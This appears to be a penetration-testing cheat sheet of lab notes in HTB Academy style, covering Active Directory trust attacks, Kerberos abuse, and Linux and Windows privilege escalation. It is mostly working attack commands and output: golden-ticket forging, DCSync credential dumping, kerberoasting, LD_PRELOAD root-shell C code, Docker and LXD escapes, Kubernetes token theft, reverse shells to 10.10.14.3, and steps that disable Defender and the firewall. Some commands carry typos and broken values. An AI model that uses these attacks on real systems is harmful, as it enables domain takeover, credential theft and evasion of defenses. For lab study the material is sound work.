| `Rubeus.exe dump /luid:0x89275d /service:krbtgt`                                                                                                                                  | Dumps TGT in memory                                                   |
| `kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local`                                                                                                | Enumerate user accounts via Kerberos                                  |
| `kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local`                                                                         | Password spraying via TGT request                                     |

### Setting Flag For Unconstrained Delegation User

```powershell
Set-ADAccountControl -Identity "NomeUtente" -TrustedForDelegation $true`
```

### Tools

* [Impacket](https://github.com/SecureAuthCorp/impacket)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Rubeus](https://github.com/GhostPack/Rubeus)
* [Rubeus](https://github.com/Zer1t0/Rubeus) with brute module
* [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)
* [kerbrute.py](https://github.com/TarlogicSecurity/kerbrute)
* [tickey](https://github.com/TarlogicSecurity/tickey)
* [ticket\_converter.py](https://github.com/Zer1t0/ticket_converter)
* [PKINITtools](https://github.com/dirkjanm/PKINITtools)

### Risorse

* <https://www.thehacker.recipes/ad/movement/kerberos/>


# Trust Attacks

### Enumeration

```powershell
Import-Module activedirectory
Get-ADTrust -Filter *
```

```powershell
Import-Module .\Powerview.ps1
Get-DomainTrust
Get-DomainTrustMapping
```

#### Checking Users in the Child Domain using Get-DomainUser

```powershell
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
```

#### Using netdom to query domain trust

```powershell
netdom query /domain:inlanefreight.local trust
```

#### Using netdom to query domain controllers

```powershell
netdom query /domain:inlanefreight.local dc
```

#### Using netdom to query workstations and servers

```powershell
netdom query /domain:inlanefreight.local workstation
```

### Attacking Domain Trust Child - Parent Trust from Windows

#### SID History Primer

The [sidHistory](https://learn.microsoft.com/en-us/windows/win32/adschema/a-sidhistory) attribute is used in migration scenarios. If a user in one domain is migrated to another domain, a new account is created in the second domain. The original user's SID will be added to the new user's SID history attribute, ensuring that the user can still access resources in the original domain.\
SID history is intended to work across domains, but can work in the same domain. Using Mimikatz, an attacker can perform SID history injection and add an administrator account to the SID History attribute of an account they control. When logging in with this account, all of the SIDs associated with the account are added to the user's token.

This token is used to determine what resources the account can access. If the SID of a Domain Admin account is added to the SID History attribute of this account, then this account will be able to perform DCSync and create a Golden Ticket or a Kerberos ticket- granting ticket (TGT), which will allow for us to authenticate as any account in the domain of our choosing for further persistence.

* <https://www.thehacker.recipes/ad/persistence/sid-history>

#### Extra SID - Mimikatz

This attack allows for the compromise of a parent domain once the child domain has been compromised.

* The KRBTGT hash for the child domain
* The SID for the child domain
* The name of a target user in the child domain (does not need to exist!)
* The FQDN of the child domain.
* The SID of the Enterprise Admins group of the root domain.
* With this data collected, the attack can be performed with Mimikatz

**Obtaining the KRBTGT Account's NT Hash using Mimikatz**

```powershell
PS C:\htb> mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
```

**Get-DomainSID**\
We can use the PowerView Get-DomainSID function to get the SID for the child domain, but this is also visible in the Mimikatz output above

```powershell
PS C:\htb> Import Powerview.ps1
PS C:\htb> Get-DomainSID
S-1-5-21-2806153819-209893948-922872689
```

\*\*Obtaining Enterprise Admins Group's SID using Get-DomainGroup

```powershell
# using activedirectory module
Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"
# using powerview
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
```

* The KRBTGT hash for the child domain: `9d765b482771505cbe97411065964d5f`
* The SID for the child domain: `S-1-5-21-2806153819-209893948-922872689`
* The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user: `hacker`
* The FQDN of the child domain: `LOGISTICS.INLANEFREIGHT.LOCAL`
* The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519

**Creating Golden Ticket with Mimikatz**

```powershell
PS C:\htb> mimikatz.exe 
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948- 922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21- 3842939050-3880317879-2865463114-519 /ptt
```

**Confirming a Kerberos Ticket is in Memory Using klist**

```powershell
PS C:\htb> klist
```

#### Extra-Sid Attack - Rubeus

```powershell
PS C:\htb> .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948- 922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
```

#### Performing a DCSync Attack

```powershell
PS C:\Tools> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm


mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCA
```

### Attacking Domain Trust Child - Parent Trust from Linux

We'll still need to gather the same bits of information

* This attack allows for the compromise of a parent domain once the child domain has been compromised.
* The KRBTGT hash for the child domain
* The SID for the child domain
* The name of a target user in the child domain (does not need to exist!)
* The FQDN of the child domain.
* The SID of the Enterprise Admins group of the root domain.

#### Performing DCSync using secretsdump.py in Child

```bash
secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc- user LOGISTICS/krbtgt 

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation 
Password: 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d 5f::: 
[*] Kerberos keys grabbed 
krbtgt:aes256-cts-hmac-sha1- 96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8 
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e 
krbtgt:des-cbc-md5:fee04c3d026d7538 
[*] Cleaning up..

```

#### Performing SID Burte Forcing using lookupsid.py

```bash
lookupsid.py logistics.inlanefreight.local/[email protected]
Password: [*] Brute forcing SIDs at 172.16.5.240 
[*] StringBinding ncacn_np:172.16.5.240[\pipe\lsarpc] 
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
```

#### Looking for the Domain SID

```bash
lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"
Password: [*] 
Domain SID is: S-1-5-21-2806153819-209893948-92287268
```

#### Grabbing the Domain SID & Attaching to Enterprise Admin's RID

```bash
lookupsid.py logistics.inlanefreight.local/[email protected] | grep -B12 "Enterprise Admins"
Password: 
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114 
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup) 
500: INLANEFREIGHT\administrator (SidTypeUser)
501: INLANEFREIGHT\guest (SidTypeUser) 
502: INLANEFREIGHT\krbtgt (SidTypeUser) 
512: INLANEFREIGHT\Domain Admins (SidTypeGroup) 
513: INLANEFREIGHT\Domain Users (SidTypeGroup) 
514: INLANEFREIGHT\Domain Guests (SidTypeGroup) 
515: INLANEFREIGHT\Domain Computers (SidTypeGroup) 
516: INLANEFREIGHT\Domain Controllers (SidTypeGroup) 
517: INLANEFREIGHT\Cert Publishers (SidTypeAlias) 
518: INLANEFREIGHT\Schema Admins (SidTypeGroup) 
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
```

* The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f
* The SID for the child domain: S-1-5-21-2806153819-209893948-922872689
* The name of a target user in the child domain (does not need to exist!): hacker
* The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL
* The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050- 3880317879-2865463114-519

#### Constructing a Golden Ticket using ticketer.py

```bash
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948- 922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
...
[*] Saving ticket in hacker.ccache]
```

```bash
export KRB5CCNAME=hacker.ccache

psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] -k -no-pass - target-ip 172.16.5.5
```

#### Performing the Attack with raiseChild.py

```
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
```

### Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows

#### Cross-Forest Kerberoasting

**Enumerating Accounts for Associated SPNs Using Get-DomainUser**

```powershell
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
samaccountname 
-------------- 
krbtgt 
mssqlsvc
```

**Enumerating the mssqlsvc Account**

```powershell
PS C:\htb> Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof

samaccountname memberof 
-------------- -------- 
mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL

```

**Performing a Kerberoasting Attacking with Rubeus Using /domain Flag**

```powershell
PS C:\htb> .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
[*] Total kerberoastable users : 1 
[*] SamAccountName : mssqlsvc 
[*] DistinguishedName : CN=mssqlsvc,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 
[*] ServicePrincipalName : MSSQLsvc/sql01.freightlogstics:1433 
[*] PwdLastSet : 3/24/2022 12:47:52 PM 
[*] Supported ETypes : RC4_HMAC_DEFAULT 
[*] Hash : $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$MSSQLsvc/sql01.freightlogstic s: *$<SNIP>
```

#### Admin Password Re-Use & Group Membership

From time to time, we'll run into a situation where there is a bidirectional forest trust managed by admins from the same company.

```powershell
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL 
GroupDomain : FREIGHTLOGISTICS.LOCAL 
GroupName : Administrators 
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL 
MemberDomain : FREIGHTLOGISTICS.LOCAL 
MemberName : S-1-5-21-3842939050-3880317879-2865463114-500 
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114- 500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS TICS,DC=LOCAL 

PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500 INLANEFREIGHT\administrator 

```

```powershell
PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA- DC03.FREIGHTLOGISTICS.LOCAL -Credential -Credential INLANEFREIGHT\administrator

PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami 
inlanefreight\administrator

PS C:\Users\administrator.INLANEFREIGHT\Documents> ipconfig /all


Host Name . . . . . . . . . . . . : ACADEMY-EA-DC03 
Primary Dns Suffix . . . . . . . : FREIGHTLOGISTICS.LOCAL 
Node Type . . . . . . . . . . . . : Hybrid 
IP Routing Enabled. . . . . . . . : No 
WINS Proxy Enabled. . . . . . . . : No 
DNS Suffix Search List. . . . . . : FREIGHTLOGISTICS.LOCA
```

### Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux

#### Cross-Forest Kerberoasting

```bash
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
```

```bash
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
```

**Hunting Foreign Group Membership with Bloodhound-python**

* First domain

```bash
cat /etc/resolv.conf
# run "resolvectl status" to see details about the actual nameservers. 
#nameserver 1.1.1.1 
#nameserver 8.8.8.8 
domain INLANEFREIGHT.LOCAL 
nameserver 172.16.5.5
```

```bash
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
```

* Second domain

```bash
cat /etc/resolv.conf 
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) 
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN 
# 127.0.0.53 is the systemd-resolved stub resolver. 
# run "resolvectl status" to see details about the actual nameservers. 
#nameserver 1.1.1.1 
#nameserver 8.8.8.8 
domain FREIGHTLOGISTICS.LOCAL 
nameserver 172.16.5.238
```

```bash
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA- DC03.FREIGHTLOGISTICS.LOCAL -c All -u [email protected] -p Klmcargo
```

Upload both data (first and second domain) to bloodhound and select:

* `Users with Foreign Domain Group Membership`


# Linux Privilege Escalation

## Linux Privilege Escalation&#x20;

### Enumeration

#### General command

* `whoami`
* `id`
* `hostname`
* `ip -a` of `ifconfig`
* `sudo -l`

#### OS Related

* OS Version
  * `cat /etc/os-release`
* Kernel Version
  * `uname -r`
  * `uname -a`
  * `cat /proc/version`

#### Users

* LoggedIn User
  * `w`
  * `who`
  * `lastlog`
* Home Directory Content
  * `ls /home`
  * `ls -la /home/<username>/`
  * `ls -l ~/.ssh`
* Environment
  * `echo $PATH`
  * `env`
* Shell Installed
  * `cat /etc/shells`
* Bash History
  * \`history
* Sudo Priviliges
  * `sudo -l`
* Users
  * `cat /etc/passwd`
  * `cat /etc/group`
  * `getent group <gruppo>`

#### Interesting Files

* Configuration Files
  * `.conf` `.config` `.xml` `.bak`
  * `find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null`
  * `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`
* Scripts File
  * `find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"`
* Readable Shadow File
  * `/etc/shadow`
* Files & Dir
  * `find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null`
  * `find / -type d -name ".*" -ls 2>/dev/null`
  * `ls -l /tmp /var/tmp /dev/shm`
* Finding History Files
  * `find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null`
* Find Writable
  * Directories `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`
  * Files `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`

#### Services & Internal Enumeration

* Cron Jobs
  * `ls -la /etc/cron.daily/`
* File System and Additional Drives
  * `lsblk` -> drive
  * `lpstat` -> printer
  * `cat /etc/fstab` -> drive/file system
  * `df -h` -> mounted file system
  * `cat /etc/fstab | grep -v "#" | column -t` -> unmounted file system
* Network
  * `ip a`
  * `route` - `netstat -r`
  * `arp -a`
  * `cat /etc/resolv.conf`
  * `cat /etc/hosts`
* Binaries
  * `ls -l /bin /usr/bin/ /usr/sbin/`
* Hardware
  * `lscpu`
* Running Services
  * `find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"`
* List Current Process
  * `ps aux | grep <user>/root`
  * `ps au`
* Sudo Version
  * `sudo -V`
* Installed Packages and Version
  * `apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list`

### Misconfiguration

#### Path Abuse

* Check `PATH env`

#### Wildcard Abuse

* Check if `*, ?, [], ~, -`

#### `SETUID` adn `SETGID` permissions

* `find "$DIRECTORY" -perm /4000`
* `find "$DIRECTORY" -perm /2000`
* `find "$DIRECTORY" -perm /u=s,g=s`
* `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`
* `find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null`

#### Sudo Right Abuse

* `sudo -l`

#### Weak NFS

* `showmount -e 10.129.2.12`
* `cat /etc/exports`
* Copy shell to /mnt and add SETUID
  * `cp shell /mnt`
  * `chmod u+s /mnt/shell`
  * `sudo mount -t nfs 10.129.2.12:/tmp /mnt`

#### Hijacking Tmux Session

* Check `tmux` process running as a privileged user (`dev` group onlu )
  * `ps aux | grep tmux`
  * `ls -la /shareds`
  * `tmux -S /shareds`

### Capabilities

* `CAP_SETUID`
* `CAP_SETGID`
* `CAP_SYS_ADMIN`
* Enumerate
  * `find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;`

### Privileged Groups

* `LXC/LXD`
  * Staring privilege container with privileged=true
  * `lxd init`
  * `lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine`
  * \`lxc init alpine r00t -c security.privileged=true
  * `lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true`
  * `lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true`
  * `lxc start r00t`
    * `lxc exec r00t /bin/sh`
* `Docker`
  * see Docker Abuse
* `Disk`
* `ADM`

### Service and process Abuse

#### Cron Job Abuse

* `/etc/cron.d`
* `ls -la /etc/cron.daily/`
* Find writable file
  * `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`
* Enumerate running process
  * `./pspy64 -pf -i 1000`

#### Docker Abuse

* `Docker`
  * Same as Linux
  * Intereseting `docker.sock` - `/var/run/docker.sock`
    * `/tmp/docker -H unix:///app/docker.sock ps`
    * `/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app`
    * `/tmp/docker -H unix:///app/docker.sock ps`
    * `/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash`
    * `docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash`

#### Kubernetes

* **Each pod functions as a separate virtual machine on a node, complete with its own IP, hostname, and other details**.
* Control Plane -> master node
  * TCP etcd `2379`, `2380`
  * API Server `6443`
  * Scheduler `10251`
  * Controller manager `10252`
  * Kubelet API `10250`
  * Read-Only Kubelet API `10255`
* Minion -> Worker Noded
* API Server Interaction
  * `curl https://10.129.10.11:6443 -k`
  * Extracting Pod
    * `curl https://10.129.10.11:10250/pods -k | jq .`
  * Extracting pod
    * `kubeletctl -i --server 10.129.10.11 pods`
  * Available Commands
    * `kubeletctl -i --server 10.129.10.11 scan rce`
  * Execute Command
    * `$ kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx`
  * Extracting Token
    * `kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token`
  * Extracting Certificates
    * `kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt`
  * List Privileges
    * `export token=`cat k8.token\`
    * `kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list`
  * Creating new pod
    * `kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml`
    * `kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods`
  * Extracting root ssh key
    * `kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc`

#### LogRotate

* `logrotate`
* `cat /etc/logrotate.conf`
* `sudo cat /var/lib/logrotate.status`
* `ls /etc/logrotate.d/`
* `cat /etc/logrotate.d/dpkg`
* For exploiting
  * write permission on the log files
  * run as root
  * vulnerable version e.g., 3.8.6, 3.11.0, 3.15.0, 3.18.0
* Tools - <https://github.com/whotwagner/logrotten>

### Shared Library

#### General Information

* Static libraries `.a`
  * Compiled and part of the program
* dynamically linked shared object libraries `.so`
  * Can be altered
* Specify location of dynamic libraries
  * when compiling `-rpath` or `-rpath-link`
  * using env `LD_RUN_PATH` or `LD_LIBRARY_PATH`
  * placing in `/lib` or `/usr/lib`
  * Changing `/etc/ld.so.conf`
  * `LD_PRELOAD` - load library before executing binary
* `ldd binary`

#### Exploiting `LD_PRELOAD`

* Compile a `so object`

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/bash");
}

```

* `gcc -fPIC -shared -o root.so root.c -nostartfiles`
* `sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart`

#### Shared Object Hijacking

* Searching non standard library
  * use `ldd <binary>`
* Find `RUNPATH` configuration (load shared libraries from custom location)
  * `readelf -d payroll | grep PATH`
* Before create a new library find function name called by binary
  * Running program and see undefined symbol
  * Create malicious shared object

    ```
    	#include<stdio.h> #include<stdlib.h> void dbquery() {
        printf("Malicious library loaded\n");
        setuid(0);
        system("/bin/sh -p");
    ```
* `gcc src.c -fPIC -shared -o /development/libshared.so`

#### Python Library Hijackin

* Wrong write permission
  * Change content library where is used

    * ```
      ```

    ```python
    #!/usr/bin/env python3 
    import psutil
    available_memory = psutil.virtual_memory()
    ```

    * `grep -r "def virtual_memory"`
* Library Path
  * `python3 -c 'import sys; print("\n".join(sys.path))'`
  * module imported from target
  * write permission on specific module or on higher module`ls -al <path>`
* `PYTHONPATH` environment variable
  * `PYTHONPATH` is an environment variable that indicates what directory (or directories) Python can search for modules to import.
  * `sudo PYTHONPATH=/newPATHWithLib /usr/bin/python3 ./mem_status.py`

### Various

#### Passive Traffic Capture

* net-creds - <https://github.com/DanMcInerney/net-creds>
* PCredz - <https://github.com/lgandx/PCredz>

### 0-day & Kernel Exploit

* Sudo
* Polkit
* DirtyPipe - DirtyCow -
* Netfilter

### Rev Shell

* `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f`
* `bash -i >& /dev/tcp/10.10.14.3/443 0>&1`

### Tools

* LinEnum - [LinEnum](https://github.com/rebootuser/LinEnum)
* [LinPeas](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
* strace - for get creds
* [pspy](https://github.com/DominicBreuker/pspy)
* [logrottten](https://github.com/whotwagner/logrotten)
* [net-creds](https://github.com/DanMcInerney/net-creds)
* [PCredz](https://github.com/lgandx/PCredz)
* `readelf`
* `ldd`

### Resources

* [Escaping Restricted Shell](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#escaping-from-restricted-shells)
* [SETUID and SETGID](https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits)
* [GTFObins](https://gtfobins.github.io/)


# Windows Privilege Escalation

## Windows Privilege Escalation

### General and Useful shortlist command

```powershell
powershell -ex bypass
```

* add user

```powershell
net user /add username password
```

* add user to group

```powerhsell
net localgroup groupname /add user
net group "Exchange Windows Permissions" svc-alfresco /add /domain
```

* Enable rdp (need administrator)

```powershell
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

* Disable firewall

```powershell
netsh advfirewall set allprofiles state off
```

* Enable only remote desktop

```powershell
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```

* Using nxc

```powershell
netexec smb $IP -u administrator -p pass123 -M rdp -o ACTION=enable
```

* Check permission on file or dir

```powershell
cacls .
icacls .
```

* share smb (on attacker machine)

```bash
impacket-smbserver -smb2support nameshare folder 
```

* Run as

```poweshell
run as /user:domain\samaccountname cmd.exe
```

* Sharing folder using `Dir properties` -> <https://youtu.be/jBfdlLybMek?si=qd9bu1ch\\_VPBO4Cm\\&t=8408>

### Initial Enumeration

#### User and Groups Enumeration

* Logged-In user

```powershell
query user
```

* Current User

```powershell
echo %USERNAME
```

* Privilges

```powershell
whoami /priv
whoami /alll
```

* Groups Information

```powershell
whoami /groups
```

* All User on local machine

```powershell
net user
net user /domain 
```

* All grous

```powershell
net localgroup
```

* Details about user

```powerhsell
net user samname 
net user samname /domain
```

* Detail about a group

```powershell
net localgroup administrators
```

* Pass policy

```powershell
net accounts
```

* Local User Description

```powershell
Get-LocalUser
```

* Computer Description

```powershell
Get-WmiObject -Class Win32_OperatingSystem | select Description
```

#### OS and Process Enumeration

* Info About OS

```powershell
Get-WmiObject Win32_OperatingSystem | select -Property *
```

* Process Running

```powershell
tasklist /svc
```

* Env variables `set`
* Systeminfo

```powershell
systeminfo
```

* Patches and Updates

```powershell
wmic qfe
Get-HotFix | ft -AutoSize
```

* Installed programs

```powershell
wmic product get name
Get-WmiObject -Class Win32_Product |  select Name, Version
Get-CimInstance -ClassName Win32_Product
```

* Running Programs

```powershell
Get-WmiObject Win32_Process | Format-List *
```

* Running process and owner (not always work)

```powershell
# other solution
Get-WmiObject Win32_Process | ForEach-Object {
    $process = $_
    $owner = $process.GetOwner()
    [PSCustomObject]@{
        ProcessName = $process.Name
        ProcessId   = $process.ProcessId
        User        = if ($owner.ReturnValue -eq 0) { "$($owner.Domain)\$($owner.User)" } else { "N/A" }
    }
} | Format-Table -AutoSize


# other solution
Get-CimInstance Win32_Process | ForEach-Object {
    $process = $_
    $owner = Invoke-CimMethod -MethodName GetOwner   -InputObject $process
    Write-Host $process.name $owner
} 

# other solution
$owners = @{} 
gwmi win32_process |% {try {$owners[$_.handle] = $_.getowner().user} catch{} } 
(get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}})
```

* Get process on main windows (displayed)

```powershell
gps | ? { $_.MainWindowTitle }
```

* Running Process with open port

```powershell
netstat -ano
```

* Get all services

```powershell
Get-CimInstance -ClassName Win32_service
sc query
sc query state= all | findstr "SERVICE_NAME"
```

* Get info about services

```powershell
Get-Service "ServiceName"
```

* Get all scheduled tasks

```powershell
schtasks /query /fo LIST /v
```

* Enumerate installed programs

```powershell
wmic product get name
```

* Enumerate local ports

```powershell
netstat -ano | findstr 6064
```

* Enumerate Process ID

```powershell
get-process -Id 3324
gps -Id 3324
```

* Enumerate Running Service
  * `get-service | ? {$_.DisplayName -like 'Druva*'}`
  * `Get-CimInstance Win32_Service | Format-List *`
* Modifying PowerShell Execution Policy
  * `Set-ExecutionPolicy Bypass -Scope Process`
* Installed Programs without permission (works on winrm)

```powershell
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*'  | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
Get-ItemProperty 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'  | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
```

* Search program by name

```powershell
Get-CimInstance -ClassName Win32_Product | Where-Object { $_.Name -like "*name*" } | Select-Object Name, Version
```

#### Process Monitor

* procmon from powershell

```powershell
while($true){  
	$process = Get-WmiObject Win32_Process | Select-Object CommandLine
	Start-Sleep 1  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
	Compare-Object -ReferenceObject $process -DifferenceObject $process2}
```

* sysinternals

```powershell
Procmon.exe
```

* How use procmon from command line

```powershell
procmon.exe /Minimized /Quiet /Backingfile C:\Logs\procmon.pml
Start-Sleep -Seconds 10
procmon.exe /Terminate
procmon.exe /OpenLog C:\Logs\procmon.pml /SaveAs C:\Logs\procmon.csv /SaveFilter /Minimized
```

* Enumerate all services and process and print also current owner

```powershell
# Function to get the owner of a process
function Get-ProcessOwner {
    param (
        [System.Diagnostics.Process]$Process
    )
    try {
        $processHandle = $Process.Handle
        $processSecurity = Get-WmiObject Win32_Process -Filter "Handle = '$processHandle'"
        $owner = $processSecurity.GetOwner()
        return "$($owner.Domain)\$($owner.User)"
    } catch {
        return "N/A"
    }
}

# Enumerate all processes
Write-Host "Processes:"
Get-Process | ForEach-Object {
    $owner = Get-ProcessOwner $_
    Write-Host "Process: $($_.Name) - ProcessId: $($_.Id) - Owner: $owner"
}

# Function to get the owner of a service
function Get-ServiceOwner {
    param (
        [string]$ServiceName
    )
    try {
        $service = Get-WmiObject Win32_Service -Filter "Name = '$ServiceName'"
        $owner = $service.GetOwner()
        return "$($owner.Domain)\$($owner.User)"
    } catch {
        return "N/A"
    }
}

# Enumerate all services
Write-Host "`nServices:"
Get-Service | ForEach-Object {
    $owner = Get-ServiceOwner $_.Name
    $serviceId = $_.Id
    Write-Host "Service: $($_.Name) - ServiceId: $serviceId - Owner: $owner"
}

```

#### Network

* Get Info About IP and network card

```powershell
ipconfig /all
```

* ARP Table:

```powershell
arp -a
```

* Routing table

```powershell
route print
```

#### Enumeration Protection

* Windows Defender

```powershell
Get-MpComputerStatus
```

* AppLocker

```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

* Test AppLocker

```powershell
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
```

* Disable realtime

```powershell
Set-MpPreference -DisableRealtimeMonitoring $true
```

#### Named Pipe

* [NamedPipes](https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)

#### Searching File & Creds

**Searching File**

```powershell
tree /f /a 
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

* Find file

```powershell
dir /s/b filename
dir /s/b \filename # on all system
dir /s/b *.log
dir /s/b *.txt
dir /s/b *.doc*
dir /s/b *.zip
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

* Search only file name:

```powershell
findstr /SI /M "password" *.xml *.ini *.txt
```

* Search file content CMD:

```powershell
findstr /si password *.xml *.ini *.txt *.config 
```

* Search file content PowerShell

```powershell
select-string -Path <path>*.txt -Pattern password
```

* Search file extension CMD

```powershell
where /R C:\ *.config
```

* Search file extension PowerShell

```powershell
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
```

**Interesting File/Directories**

* From file extract extract password

```powershell
gc 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
```

* Interesting file

```powershell
Unattend.xml
```

* Sticky notes

```powershell
